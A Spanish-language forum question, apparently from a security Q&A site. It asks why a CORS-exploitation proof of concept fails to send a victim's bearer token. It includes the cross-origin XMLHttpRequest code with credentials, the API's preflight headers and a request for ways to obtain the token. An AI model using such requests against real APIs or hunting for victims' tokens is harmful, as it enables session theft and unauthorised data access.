Tengo una pregunta de seguimiento para esta pregunta anterior: Cómo explotar una política CORS mal configurada cuando se requiere un token de autorización por usuario?
Según la documentación aquí , Access-Control-Allow-Credentials debería poder transportar tokens como los encabezados de autorización porque "las credenciales son cookies, encabezados de autorización o certificados de clientes TLS"
Sin embargo, cuando intento el siguiente exploit, parece que no consigo que ningún navegador reenvíe el token.
Estoy intentando realizar la siguiente solicitud de dominio cruzado desde https://my.domain/
:
var req = new XMLHttpRequest(); req.onload = reqListener;
req.open('GET','https://api.external.domain/',true);
req.withCredentials = "true"; req.setRequestHeader('authorization','');
req.setRequestHeader('cache-control','no-cache');
req.setRequestHeader('content-type','application/json');
req.send('{}');
function reqListener()
{
alert(this.responseText);
};
La solicitud está prefligada (método OPTIONS) y la API responde con:
HTTP/1.1 200 OK
Access-Control-Expose-Headers: APIm-Debug-Trans-Id, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-Global-Transaction-ID
Access-Control-Allow-Headers: authorization,cache-control,content-type,pragma
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://my.domain/
Hasta ahora todo bien. Ahora el navegador sigue inmediatamente con una solicitud GET, pero para que esta solicitud tenga éxito, necesito que incluya el encabezado:
Authorization: bearer [redacted]
Pero el navegador del cliente aparentemente no puede acceder a este token (?) aunque esté autenticado en la API. ¿Hay alguna manera de agarrar este token de algún lugar? Parece que no puedo encontrarlo en el almacenamiento local del navegador y tampoco es un valor de cookie.